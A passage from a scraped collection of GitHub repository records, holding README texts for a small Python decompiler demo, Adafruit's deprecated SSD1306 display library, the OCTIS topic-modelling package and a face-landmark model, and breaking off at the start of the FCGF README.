\"\\x55\\x89\\xe5\\x83\\xec\\x28\\xc7\\x45\\xf4\\x00\\x00\\x00\\x00\\x8b\\x45\\xf4\\x8b\\x00\\x83\\xf8\\x0e\\x75\\x0c\\xc7\\x04\\x24\\x30\\x87\\x04\\x08\\xe8\\xd3\\xfe\\xff\\xff\\xb8\\x00\\x00\\x00\\x00\\xc9\\xc3\"\n\n# Create the capstone-specific backend; it will yield expressions that the decompiler is able to use.\ndisasm = dis.available_disassemblers['capstone'].create(md, code, 0x1000)\n\n# Create the decompiler\ndec = decompiler_t(disasm, 0x1000)\n\n# Transform the function until it is decompiled\ndec.step_until(step_decompiled)\n\n# Tokenize and output the function as string\nprint(''.join([str(o) for o in c.tokenizer(dec.function).tokens]))\n```\n\nThe snippet of code above should output:\n```c\nfunc() {\n   s0 = 0;\n   if (*s0 == 14) {\n      s2 = 134514480;\n      3830();\n   }\n   return 0;\n}\n```\n\nMuch like Capstone itself, the capstone backend does not know what address is a string, and has no concept of named location. This is why `3830()` and `134514480` appear as they do in the decompiled code above. You can give this information to the disassembler backend for a prettier output:\n\n```python\ndisasm.add_string(134514480, \"string\")\ndisasm.add_name(3830, \"func_3830\")\nprint(''.join([str(o) for o in c.tokenizer(dec.function).tokens]))\n```\n\nNow the decompiled output is:\n\n```c\nfunc() {\n   s0 = 0;\n   if (*s0 == 14) {\n      s2 = 'string';\n      func_3830();\n   }\n   return 0;\n}\n```\n\n### Current status\n\nIt is currently capable of decompiling small functions with fairly simple control flow. It may also be able to decompile larger functions by pure luck. It shows what can be done in a few thousand lines of python.\n\nTest binaries are provided in tests/.\n\n### How does it work?\n\nThis project is based on [a paper by van Emmerik](http://www.backerstreet.com/decompiler/vanEmmerik_ssa.pdf) titled Static Single Assignment for Decompilation.\n\n### Roadmap\n\nThis project could use some improvements in the following areas:\n\n* more instructions are needed. currently this decompiler supports a very limited number of x86/x64 instructions.\n* there is currently no attempt at data type analysis, which would be necessary in order to produce a recompilable output, or even a more correct output.\n* add support for different types of assemblies (ARM, etc).\n* add support for more calling conventions. currently, only SystemV x64 ABI (x64 linux gcc) is supported. under other compilers, function calls will be displayed without parameters.\n* add a GUI for renaming variables, inverting if-else branches, and other easy things.\n* when possible, functions called from the one being decompiled should be analysed to determine function arguments and restored registers.\n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "adafruit/Adafruit_Python_SSD1306", "link": "https://github.com/adafruit/Adafruit_Python_SSD1306", "tags": [], "stars": 506, "description": "Python library to use SSD1306-based 128x64 or 128x32 pixel OLED displays with a Raspberry Pi or Beaglebone Black.", "lang": "Python", "repo_lang": "", "readme": "*DEPRECATED LIBRARY* Adafruit Python SSD1306\n=======================\n\nhis library has been deprecated! We are leaving this up for historical and research purposes but archiving the repository.\n\nWe are now only supporting the use of our CircuitPython libraries for use with Python.\n\nCheck out this guide for info on using OLEDs with the CircuitPython library: https://learn.adafruit.com/monochrome-oled-breakouts/python-wiring\n\n---------------------------------------\n\nPython library to use SSD1306-based 128x64 or 128x32 pixel OLED displays with a Raspberry Pi or Beaglebone Black.\n\nDesigned specifically to work with the Adafruit SSD1306-based OLED displays ----> https://www.adafruit.com/categories/98\n\nAdafruit invests time and resources providing this open source code, please support Adafruit and open-source hardware by purchasing products from Adafruit!\n\nInstalling\n----------\n\n```\nsudo python -m pip install --upgrade pip setuptools wheel\nsudo pip install Adafruit-SSD1306\n```\n\nOr alternatively:\n\n```\nsudo python -m pip install --upgrade pip setuptools wheel\ngit clone https://github.com/adafruit/Adafruit_Python_SSD1306.git\ncd Adafruit_Python_SSD1306\nsudo python setup.py install\n```\n\nCopying\n-------\n\nWritten by Tony DiCola for Adafruit Industries.\nMIT license, all text above must be included in any redistribution\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "MIND-Lab/OCTIS", "link": "https://github.com/MIND-Lab/OCTIS", "tags": ["topic-modeling", "latent-dirichlet-allocation", "latent-semantic-analysis", "evaluation-metrics", "natural-language-processing", "non-negative-matrix-factorization", "neural-topic-models", "bayesian-optimization", "hyperparameter-optimization", "hyperparameter-tuning", "hyperparameter-search", "topic-models", "nlp", "nlproc", "nlp-library"], "stars": 506, "description": "OCTIS: Comparing Topic Models is Simple! A python package to optimize and evaluate topic models (accepted at EACL2021 demo track)", "lang": "Python", "repo_lang": "", "readme": "=========================================================\nOCTIS : Optimizing and Comparing Topic Models is Simple!\n=========================================================\n\n\n.. |colab1| image:: https://colab.research.google.com/assets/colab-badge.svg\n    :target: https://colab.research.google.com/github/MIND-Lab/OCTIS/blob/master/examples/OCTIS_LDA_training_only.ipynb\n    :alt: Open In Colab\n\n.. |colab2| image:: https://colab.research.google.com/assets/colab-badge.svg\n    :target: https://colab.research.google.com/github/MIND-Lab/OCTIS/blob/master/examples/OCTIS_Optimizing_CTM.ipynb\n    :alt: Open In Colab\n.. |twitter_silvia| image:: https://img.shields.io/twitter/follow/TerragniSilvia?style=social\n    :target: https://twitter.com/intent/follow?screen_name=TerragniSilvia\n    :alt: Follow TerragniSilvia on Twitter\n.. |twitter_betta| image:: https://img.shields.io/twitter/follow/FersiniE?style=social\n    :target: https://twitter.com/intent/follow?screen_name=FersiniE\n    :alt: Follow FersiniE on Twitter\n\n.. image:: https://img.shields.io/pypi/v/octis.svg\n        :target: https://pypi.python.org/pypi/octis\n\n.. image:: https://github.com/MIND-Lab/OCTIS/workflows/Python%20package/badge.svg\n        :target: https://github.com/MIND-Lab/OCTIS/actions\n\n.. image:: https://readthedocs.org/projects/octis/badge/?version=latest\n        :target: https://octis.readthedocs.io/en/latest/?badge=latest\n        :alt: Documentation Status\n\n.. image:: https://img.shields.io/github/contributors/MIND-Lab/OCTIS\n        :target: https://github.com/MIND-Lab/OCTIS/graphs/contributors/\n        :alt: Contributors\n\n.. image:: https://img.shields.io/badge/License-MIT-blue.svg\n        :target: https://lbesson.mit-license.org/\n        :alt: License\n\n.. image:: https://img.shields.io/github/stars/mind-lab/OCTIS?logo=github\n        :target: https://github.com/mind-lab/OCTIS/stargazers\n        :alt: Github Stars\n       \n.. image:: https://pepy.tech/badge/octis/month\n        :target: https://pepy.tech/project/octis\n        :alt: Monthly Downloads\n        \n.. image:: https://colab.research.google.com/assets/colab-badge.svg\n    :target: https://colab.research.google.com/github/MIND-Lab/OCTIS/blob/master/examples/OCTIS_Optimizing_CTM.ipynb\n        :alt: Open In Colab\n      \n\n.. image:: https://github.com/MIND-Lab/OCTIS/blob/master/logo.png?raw=true\n  :width: 100\n  :alt: Logo\n  \n  \n\n\n\n**OCTIS (Optimizing and Comparing Topic models Is Simple)** aims at training, analyzing and comparing\nTopic Models, whose optimal hyperparameters are estimated by means of a Bayesian Optimization approach. This work has been accepted to the demo track of EACL2021. `Click to read the paper`_!\n\n.. contents:: Table of Contents \n   :depth: 2\n\n***************\nInstall\n***************\n\n\nYou can install OCTIS with the following command:\n::\n\n    pip install octis\n\nYou can find the requirements in the `requirements.txt` file.\n\n***************\nMain Features\n***************\n\n\n* Preprocess your own dataset or use one of the already-preprocessed benchmark datasets\n* Well-known topic models (both classical and neurals)\n* Evaluate your model using different state-of-the-art evaluation metrics\n* Optimize the models' hyperparameters for a given metric using Bayesian Optimization\n* Python library for advanced usage or simple web dashboard for starting and controlling the optimization experiments\n\n\n***********************\nExamples and Tutorials\n***********************\n\nTo easily understand how to use OCTIS, we invite you to try our tutorials out :)\n\n+--------------------------------------------------------------------------------+------------------+\n| Name                                                                           | Link             |\n+================================================================================+==================+\n| How to build a topic model and evaluate the results (LDA on 20Newsgroups)      | |colab1|         |\n+--------------------------------------------------------------------------------+------------------+\n| How to optimize the hyperparameters of a neural topic model (CTM on M10)       | |colab2|         |\n+--------------------------------------------------------------------------------+------------------+\n\n\n`Emil Rijcken`_ kindly wrote two guides on how to use OCTIS with practical examples:\n\n* `A beginner's guide to OCTIS vol. 1`_\n* `A beginner's guide to OCTIS vol. 2`_\n\n.. _Emil Rijcken: https://emilrijcken.medium.com/ \n.. _A beginner's guide to OCTIS vol. 1: https://towardsdatascience.com/a-beginners-guide-to-octis-optimizing-and-comparing-topic-models-is-simple-590554ec9ba6\n.. _A beginner's guide to OCTIS vol. 2: https://towardsdatascience.com/a-beginners-guide-to-octis-vol-2-optimizing-topic-models-1214e58be1e5\n\n\n**************************\nDatasets and Preprocessing\n**************************\n\nLoad a preprocessed dataset\n============================\n\nTo load one of the already preprocessed datasets as follows:\n\n.. code-block:: python\n\n   from octis.dataset.dataset import Dataset\n   dataset = Dataset()\n   dataset.fetch_dataset(\"20NewsGroup\")\n\nJust use one of the dataset names listed below. Note: it is case-sensitive!\n\nAvailable Datasets\n============================\n\n+--------------+--------------+--------+---------+----------+----------+\n|Name in OCTIS | Source       | # Docs | # Words | # Labels | Language |\n+==============+==============+========+=========+==========+==========+\n| 20NewsGroup  | 20Newsgroup_ |  16309 |    1612 |       20 | English  |\n+--------------+--------------+--------+---------+----------+----------+\n| BBC_News     | BBC-News_    |   2225 |    2949 |        5 | English  |\n+--------------+--------------+--------+---------+----------+----------+\n| DBLP         | DBLP_        |  54595 |    1513 |        4 | English  |\n+--------------+--------------+--------+---------+----------+----------+\n| M10          | M10_         |   8355 |    1696 |       10 | English  |\n+--------------+--------------+--------+---------+----------+----------+\n| DBPedia_IT   | DBPedia_IT_  |   4251 |    2047 |        5 | Italian  |\n+--------------+--------------+--------+---------+----------+----------+\n| Europarl_IT  | Europarl_IT_ |   3613 |    2000 |       NA | Italian  |\n+--------------+--------------+--------+---------+----------+----------+\n\n.. _20Newsgroup: https://scikit-learn.org/0.19/datasets/twenty_newsgroups.html\n.. _BBC-News: https://github.com/MIND-Lab/OCTIS\n.. _DBLP: https://dblp.org/rec/conf/ijcai/PanWZZW16.html?view=bibtex\n.. _M10: https://dblp.org/rec/conf/ijcai/PanWZZW16.html?view=bibtex\n.. _DBPedia_IT: https://www.dbpedia.org/resources/ontology/\n.. _Europarl_IT: https://www.statmt.org/europarl/\n\nLoad a Custom Dataset\n============================\nOtherwise, you can load a custom preprocessed dataset in the following way:\n\n.. code-block:: python\n\n   from octis.dataset.dataset import Dataset\n   dataset = Dataset()\n   dataset.load_custom_dataset_from_folder(\"../path/to/the/dataset/folder\")\n\nMake sure that the dataset is in the following format:\n    * corpus file: a .tsv file (tab-separated) that contains up to three columns, i.e. the document, the partitition, and the label associated to the document (optional).\n    * vocabulary: a .txt file where each line represents a word of the vocabulary\n\nThe partition can be \"train\" for the training partition, \"test\" for testing partition, or \"val\" for the validation partition. An example of dataset can be found here: `sample_dataset`_.\n\nDisclaimer\n~~~~~~~~~~~~~\n\nSimilarly to `TensorFlow Datasets`_ and HuggingFace's `nlp`_ library, we just downloaded and prepared public datasets. We do not host or distribute these datasets, vouch for their quality or fairness, or claim that you have license to use the dataset. It is your responsibility to determine whether you have permission to use the dataset under the dataset's license and to cite the right owner of the dataset.\n\nIf you're a dataset owner and wish to update any part of it, or do not want your dataset to be included in this library, please get in touch through a GitHub issue.\n\nIf you're a dataset owner and wish to include your dataset in this library, please get in touch through a GitHub issue.\n\nPreprocess a Dataset\n============================\n\nTo preprocess a dataset, import the preprocessing class and use the preprocess_dataset method.\n\n.. code-block:: python\n\n\n    import os\n    import string\n    from octis.preprocessing.preprocessing import Preprocessing\n    os.chdir(os.path.pardir)\n\n    # Initialize preprocessing\n    preprocessor = Preprocessing(vocabulary=None, max_features=None, \n                                 remove_punctuation=True, punctuation=string.punctuation,\n                                 lemmatize=True, stopword_list='english',\n                                 min_chars=1, min_words_docs=0)\n    # preprocess\n    dataset = preprocessor.preprocess_dataset(documents_path=r'..\\corpus.txt', labels_path=r'..\\labels.txt')\n\n    # save the preprocessed dataset\n    dataset.save('hello_dataset')\n\n\nFor more details on the preprocessing see the preprocessing demo example in the examples folder.\n\n\n*****************************\nTopic Models and Evaluation\n*****************************\n\nTrain a model\n==============\n\nTo build a model, load a preprocessed dataset, set the model hyperparameters and use :code:`train_model()` to train the model.\n\n.. code-block:: python\n\n    from octis.dataset.dataset import Dataset\n    from octis.models.LDA import LDA\n\n    # Load a dataset\n    dataset = Dataset()\n    dataset.load_custom_dataset_from_folder(\"dataset_folder\")\n\n    model = LDA(num_topics=25)  # Create model\n    model_output = model.train_model(dataset) # Train the model\n\n\nIf the dataset is partitioned, you can:\n\n* Train the model on the training set and test it on the test documents\n* Train the model with the whole dataset, regardless of any partition.\n\nAvailable Models\n=================\n\n+-------------------------------------------+-----------------------------------------------------------+\n| Name                                      | Implementation                                            |\n+===========================================+===========================================================+\n| CTM `(Bianchi et al. 2021)`_              | https://github.com/MilaNLProc/contextualized-topic-models |\n+-------------------------------------------+-----------------------------------------------------------+\n| ETM `(Dieng et al. 2020)`_                | https://github.com/adjidieng/ETM                          |\n+-------------------------------------------+-----------------------------------------------------------+\n| HDP `(Blei et al. 2004)`_                 | https://radimrehurek.com/gensim/                          |\n+-------------------------------------------+-----------------------------------------------------------+\n| LDA `(Blei et al. 2003)`_                 | https://radimrehurek.com/gensim/                          |\n+-------------------------------------------+-----------------------------------------------------------+\n| LSI `(Landauer et al. 1998)`_             | https://radimrehurek.com/gensim/                          |\n+-------------------------------------------+-----------------------------------------------------------+\n| NMF `(Lee and Seung 2000)`_               | https://radimrehurek.com/gensim/                          |\n+-------------------------------------------+-----------------------------------------------------------+\n| NeuralLDA `(Srivastava and Sutton 2017)`_ | https://github.com/estebandito22/PyTorchAVITM             |\n+-------------------------------------------+-----------------------------------------------------------+\n| ProdLda `(Srivastava and Sutton 2017)`_   | https://github.com/estebandito22/PyTorchAVITM             |\n+-------------------------------------------+-----------------------------------------------------------+\n\n\n.. _(Bianchi et al. 2021): https://www.aclweb.org/anthology/2021.eacl-main.143/\n.. _(Dieng et al. 2020): https://www.aclweb.org/anthology/2020.tacl-1.29 \n.. _(Blei et al. 2004): https://people.eecs.berkeley.edu/~jordan/papers/hdp.pdf\n.. _(Blei et al. 2003): https://www.jmlr.org/papers/volume3/blei03a/blei03a.pdf\n.. _(Landauer et al. 1998): http://lsa.colorado.edu/papers/dp1.LSAintro.pdf\n.. _(Lee and Seung 2000): https://papers.nips.cc/paper/1861-algorithms-for-non-negative-matrix-factorization\n.. _(Srivastava and Sutton 2017): https://arxiv.org/abs/1703.01488 \n\nIf you use one of these implementations, make sure to cite the right paper.\n\nIf you implemented a model and wish to update any part of it, or do not want your model to be included in this library, please get in touch through a GitHub issue.\n\nIf you implemented a model and wish to include your model in this library, please get in touch through a GitHub issue. Otherwise, if you want to include the model by yourself, see the following section.\n\nEvaluate a model\n==================\n\nTo evaluate a model, choose a metric and use the :code:`score()` method of the metric class.\n\n.. code-block:: python\n\n    from octis.evaluation_metrics.diversity_metrics import TopicDiversity\n\n    metric = TopicDiversity(topk=10) # Initialize metric\n    topic_diversity_score = metric.score(model_output) # Compute score of the metric\n\nAvailable metrics\n==================\n\n* **Classification Metrics**:\n\n    * F1-score_ : :code:`F1Score(dataset)`\n    * Precision_ : :code:`PrecisionScore(dataset)`\n    * Recall_ : :code:`RecallScore(dataset)`\n    * Accuracy_ : :code:`AccuracyScore(dataset)`\n\n.. _F1-score: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/classification_metrics.py#L117\n.. _Precision: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/classification_metrics.py#L145\n.. _Recall: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/classification_metrics.py#L171\n.. _Accuracy: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/classification_metrics.py#L196\n\n* **Coherence Metrics**:\n\n    * `UMass Coherence`_ : :code:`Coherence(measure='u_mass')`\n    * `C_V Coherence`_ : :code:`Coherence(measure='c_v')`\n    * `UCI Coherence`_ : :code:`Coherence(measure='c_uci')`\n    * `NPMI Coherence`_ : :code:`Coherence(measure='c_npmi')`\n    * `Word Embedding-based Coherence Pairwise`_ : :code:`WECoherencePairwise()`\n    * `Word Embedding-based Coherence Centroid`_ : :code:`WECoherenceCentroid()`\n\n.. _`UMass Coherence`: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/coherence_metrics.py#L15\n.. _`C_V Coherence`: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/coherence_metrics.py#L15\n.. _`UCI Coherence`: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/coherence_metrics.py#L15\n.. _`NPMI Coherence`: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/coherence_metrics.py#L15\n.. _`Word Embedding-based Coherence Pairwise`: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/coherence_metrics.py#L67\n.. _`Word Embedding-based Coherence Centroid`: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/coherence_metrics.py#L126\n\n* **Diversity Metrics**:\n\n    * `Topic Diversity`_ : :code:`TopicDiversity()`\n    * `InvertedRBO`_ : :code:`InvertedRBO()`\n    * `Word Embedding-based InvertedRBO Matches`_ : :code:`WordEmbeddingsInvertedRBO()`\n    * `Word Embedding-based InvertedRBO Centroid`_ : :code:`WordEmbeddingsInvertedRBOCentroid()`\n    * `Log odds ratio`_ : :code:`LogOddsRatio()`\n    * `Kullback-Liebler Divergence`_ : :code:`KLDivergence()`\n\n.. _`Topic Diversity`: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/diversity_metrics.py#L12\n.. _`InvertedRBO`: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/diversity_metrics.py#L56\n.. _`Word Embedding-based InvertedRBO Matches`: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/diversity_metrics.py#L92\n.. _`Word Embedding-based InvertedRBO Centroid`: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/diversity_metrics.py#L147\n.. _`Log odds ratio`: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/diversity_metrics.py#L184\n.. _`Kullback-Liebler Divergence`: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/diversity_metrics.py#L209\n\n* **Similarity Metrics**:\n\n    * `Ranked-Biased Overlap`_ : :code:`RBO()`\n    * `Word Embedding-based RBO Matches`_ : :code:`WordEmbeddingsRBOMatch()`\n    * `Word Embedding-based RBO Centroid`_ : :code:`WordEmbeddingsRBOCentroid()`\n    * `Word Embeddings-based Pairwise Similarity`_ : :code:`WordEmbeddingsPairwiseSimilarity()`\n    * `Word Embeddings-based Centroid Similarity`_ : :code:`WordEmbeddingsCentroidSimilarity()`\n    * `Word Embeddings-based Weighted Sum Similarity`_ : :code:`WordEmbeddingsWeightedSumSimilarity()`\n    * `Pairwise Jaccard Similarity`_ : :code:`PairwiseJaccardSimilarity()`\n\n\n.. _`Word Embedding-based RBO Matches`: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/similarity_metrics.py#L11\n.. _`Word Embedding-based RBO Centroid`: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/similarity_metrics.py#L35\n.. _`Word Embeddings-based Pairwise Similarity`: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/similarity_metrics.py#L59\n.. _`Word Embeddings-based Centroid Similarity`: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/similarity_metrics.py#L103\n.. _`Ranked-Biased Overlap`: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/similarity_metrics.py#L201\n.. _`Word Embeddings-based Weighted Sum Similarity`: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/similarity_metrics.py#L158\n.. _`Pairwise Jaccard Similarity`: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/similarity_metrics.py#L223\n \n\n* **Topic significance Metrics**:\n\n    * `KL Uniform`_ : :code:`KL_uniform()`\n    * `KL Vacuous`_ : :code:`KL_vacuous()`\n    * `KL Background`_ : :code:`KL_background()`\n    \n.. _`KL Uniform`: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/topic_significance_metrics.py#L37\n.. _`KL Vacuous`: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/topic_significance_metrics.py#L84\n.. _`KL Background`: https://github.com/MIND-Lab/OCTIS/blob/master/octis/evaluation_metrics/topic_significance_metrics.py#L138\n \n\nImplement your own Model\n=========================\n\nModels inherit from the class `AbstractModel` defined in `octis/models/model.py` .\nTo build your own model your class must override the `train_model(self, dataset, hyperparameters)` method which always requires at least a `Dataset` object and a `Dictionary` of hyperparameters as input and should return a dictionary with the output of the model as output.\n\nTo better understand how a model work, let's have a look at the LDA implementation.\nThe first step in developing a custom model is to define the dictionary of default hyperparameters values:\n\n.. code-block:: python\n\n    hyperparameters = {'corpus': None, 'num_topics': 100, 'id2word': None, 'alpha': 'symmetric',\n        'eta': None, # ...\n        'callbacks': None}\n\nDefining the default hyperparameters values allows users to work on a subset of them without having to assign a value to each parameter.\n\nThe following step is the `train_model()` override:\n\n.. code-block:: python\n\n    def train_model(self, dataset, hyperparameters={}, top_words=10):\n\nThe LDA method requires a dataset, the hyperparameters dictionary and an extra (optional) argument used to select how many of the most significative words track for each topic.\n\nWith the hyperparameters defaults, the ones in input and the dataset you should be able to write your own code and return as output a dictionary with at least 3 entries:\n\n* *topics*: the list of the most significative words foreach topic (list of lists of strings).\n* *topic-word-matrix*: an NxV matrix of weights where N is the number of topics and V is the vocabulary length.\n* *topic-document-matrix*: an NxD matrix of weights where N is the number of topics and D is the number of documents in the corpus.\n\nif your model supports the training/test partitioning it should also return:\n\n* *test-topic-document-matrix*: the document topic matrix of the test set.\n\n\n\n*****************************\nHyperparameter Optimization\n*****************************\n\nTo optimize a model you need to select a dataset, a metric and the search space of the hyperparameters to optimize.\nFor the types of the hyperparameters, we use :code:`scikit-optimize` types (https://scikit-optimize.github.io/stable/modules/space.html)\n\n.. code-block:: python\n\n    from octis.optimization.optimizer import Optimizer\n    from skopt.space.space import Real\n\n    # Define the search space. To see which hyperparameters to optimize, see the topic model's initialization signature\n    search_space = {\"alpha\": Real(low=0.001, high=5.0), \"eta\": Real(low=0.001, high=5.0)}\n\n    # Initialize an optimizer object and start the optimization.\n    optimizer=Optimizer()\n    optResult=optimizer.optimize(model, dataset, eval_metric, search_space, save_path=\"../results\" # path to store the results\n                                 number_of_call=30, # number of optimization iterations\n                                 model_runs=5) # number of runs of the topic model\n    #save the results of th optimization in a csv file\n    optResult.save_to_csv(\"results.csv\")\n\nThe result will provide best-seen value of the metric with the corresponding hyperparameter configuration, and the hyperparameters and metric value for each iteration of the optimization. To visualize this information, you have to set 'plot' attribute of Bayesian_optimization to True.\n\nYou can find more here: `optimizer README`_\n\n\n*****************************\nDashboard\n*****************************\n\n\nOCTIS includes a user friendly graphical interface for creating, monitoring and viewing experiments.\nFollowing the implementation standards of datasets, models and metrics the dashboard will automatically update and allow you to use your own custom implementations.\n\nTo run rhe dashboard you need to clone the repo.\nWhile in the project directory run the following command:\n\n.. code-block:: bash\n\n    python OCTIS/dashboard/server.py\n\n\nThe browser will open and you will be redirected to the dashboard.\nIn the dashboard you can:\n\n* Create new experiments organized in batch\n* Visualize and compare all the experiments\n* Visualize a custom experiment\n* Manage the experiment queue\n\n\n*****************************\nHow to cite our work\n*****************************\nThis work has been accepted at the demo track of EACL 2021! `Click to read the paper`_!\nIf you decide to use this resource, please cite:\n\n::\n\n    @inproceedings{terragni2020octis,\n        title={{OCTIS}: Comparing and Optimizing Topic Models is Simple!},\n        author={Terragni, Silvia and Fersini, Elisabetta and Galuzzi, Bruno Giovanni and Tropeano, Pietro and Candelieri, Antonio},\n        year={2021},\n        booktitle={Proceedings of the 16th Conference of the European Chapter of the Association for Computational Linguistics: System Demonstrations},\n        month = apr,\n        year = \"2021\",\n        publisher = \"Association for Computational Linguistics\",\n        url = \"https://www.aclweb.org/anthology/2021.eacl-demos.31\",\n        pages = \"263--270\",\n    }\n\n    @inproceedings{DBLP:conf/clic-it/TerragniF21,\n      author    = {Silvia Terragni and Elisabetta Fersini},\n      editor    = {Elisabetta Fersini and Marco Passarotti and Viviana Patti},\n      title     = {{OCTIS 2.0: Optimizing and Comparing Topic Models in Italian Is Even\n                   Simpler!}},\n      booktitle = {Proceedings of the Eighth Italian Conference on Computational Linguistics,\n                   CLiC-it 2021, Milan, Italy, January 26-28, 2022},\n      series    = {{CEUR} Workshop Proceedings},\n      volume    = {3033},\n      publisher = {CEUR-WS.org},\n      year      = {2021},\n      url       = {http://ceur-ws.org/Vol-3033/paper55.pdf},\n    }\n\n\n*****************************\nTeam\n*****************************\n\nProject and Development Lead\n=============================\n\n- `Silvia Terragni`_ <s.terragni4@campus.unimib.it> |twitter_silvia|\n- Elisabetta Fersini <elisabetta.fersini@unimib.it> |twitter_betta|\n- Antonio Candelieri <antonio.candelieri@unimib.it>\n\n\n\nCurrent Contributors\n=============================\n\n- Pietro Tropeano <p.tropeano1@campus.unimib.it> Framework architecture, Preprocessing, Topic Models, Evaluation metrics and Web Dashboard\n- Bruno Galuzzi <bruno.galuzzi@unimib.it> Bayesian Optimization\n- Silvia Terragni <s.terragni4@campus.unimib.it> Overall project\n\nPast Contributors\n=============================\n\n* Lorenzo Famiglini <l.famiglini@campus.unimib.it> Neural models integration\n* Davide Pietrasanta <d.pietrasanta@campus.unimib.it> Bayesian Optimization\n\n\n\n*****************************\nCredits\n*****************************\n\nThis package was created with Cookiecutter_ and the `audreyr/cookiecutter-pypackage`_ project template. Thanks to all the developers that released their topic models' implementations. A special thanks goes to tenggaard_ who helped us find many bugs in early octis releases and to `Emil Rijcken`_ who kindly wrote two guides on how to use OCTIS :)\n\n.. _Cookiecutter: https://github.com/audreyr/cookiecutter\n.. _`Click to read the paper`: https://www.aclweb.org/anthology/2021.eacl-demos.31/\n.. _`audreyr/cookiecutter-pypackage`: https://github.com/audreyr/cookiecutter-pypackage\n.. _Silvia Terragni: https://silviatti.github.io/\n.. _sample_dataset: https://github.com/MIND-Lab/OCTIS/tree/master/preprocessed_datasets/sample_dataset\n.. _Optimizer README: https://github.com/MIND-Lab/topic-modeling-evaluation-framework/blob/develop-package/octis/optimization/README.md\n.. _TensorFlow Datasets: https://github.com/tensorflow/datasets\n.. _nlp: https://github.com/huggingface/nlp\n.. _tenggaard: https://github.com/tenggaard\n", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "panda-lab/face-landmark", "link": "https://github.com/panda-lab/face-landmark", "tags": ["68points", "5ms", "alignment", "cpp"], "stars": 506, "description": "caffe 68 points face-landmark", "lang": "Python", "repo_lang": "", "readme": "# face-landmark-localization\n\nThis is a project predict face landmarks (68 points).\n- Model Size : 3.3MB.\n- Speed : 5ms per face on i5-2.7GHz CPU.\n\n## Install\n- [caffe](https://github.com/BVLC/caffe)\n- [dlib face detector](http://dlib.net/)\n- add libdlib.a to your project lib path\n- add face_lardmark.cpp to your caffe project example folder\n- opencv<p>\n\n## Usage\n\n- CPP Demo : ./face_lardmark \n- Python Demo: python face_landmark.py (created by [jiangwqcooler](https://github.com/jiangwqcooler))\n\n## notice\n- This model was trained on dlib face detector. Other face detector may not get landmark result as good as dlib\n\n## Result\n![](result/7_result.jpg)\n![](result/8_result.jpg)\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "chrischoy/FCGF", "link": "https://github.com/chrischoy/FCGF", "tags": ["3d", "feature-extraction", "correspondence", "fully-convolutional", "neural-network", "registration", "pytorch", "minkowskiengine", "sparse-tensor"], "stars": 507, "description": "Fully Convolutional Geometric Features: Fast and accurate 3D features for registration and correspondence.", "lang": "Python", "repo_lang": "", "readme": "# Fully Convolutional Geometric Features, ICCV, 2019\n\nExtracting geometric features from 3D scans or point clouds is the first step in applications such as registration, reconstruction, and tracking. State-of-the-art methods require computing low-level features as input or extracting patch-based features with limited receptive field. In this work, we present fully-convolutional geometric features, computed in a single pass by a 3D fully-convolutional network. We also present new metric learning losses that dramatically improve performance. Fully-convolutional geometric features are compact, capture broad spatial context, and scale to large scenes. We experimentally validate our approach on both indoor and outdoor datasets. Fully-convolutional geometric features achieve state-of-the-art accuracy without requiring prepossessing, are compact (32 dimensions), and are 600 times faster than the most accurate prior method.\n\n[ICCV'19 Paper](https://node1.chrischoy.org/data/publications/fcgf/fcgf.pdf)\n\n## News\n\n- 2020-10-02 Measure the FCGF speedup on v0.5 on [MinkowskiEngineBenchmark](https://github.com/chrischoy/MinkowskiEngineBenchmark). The speedup ranges from 2.7x to 7.7x depending on the batch size.\n- 2020-09-04 Updates on ME v0.5 further speed up the inference time from 13.2ms to 11.8ms. As a reference, ME v0.4 takes 37ms.\n- 2020-08-18 Merged the v0.5 to the master with v0.5 installation. You can now use the full GPU support for sparse tensor hi-COO representation for faster training and inference.\n- 2020-08-07 [MinkowskiEngine](https://github.com/NVIDIA/MinkowskiEngine) v0.5 improves the **FCGF inference speed by x2.8** (280% speed-up, feed forward time for ResUNetBN2C on the 3DMatch kitchen point cloud ID-20: 37ms (ME v0.4.3) down to 13.2ms (ME v0.5.0). Measured on TitanXP, Ryzen-3700X).\n- 2020-06-15 [Source code](https://github.com/chrischoy/DeepGlobalRegistration) for **Deep Global Registration, CVPR'20 Oral** has been released. Please refer to the repository and the paper for using FCGF for registration.\n\n## 3D Feature Accuracy vs. Speed\n\n|   Comparison Table           | Speed vs. Accuracy |\n|:----------------------------:|:------------------:|\n| 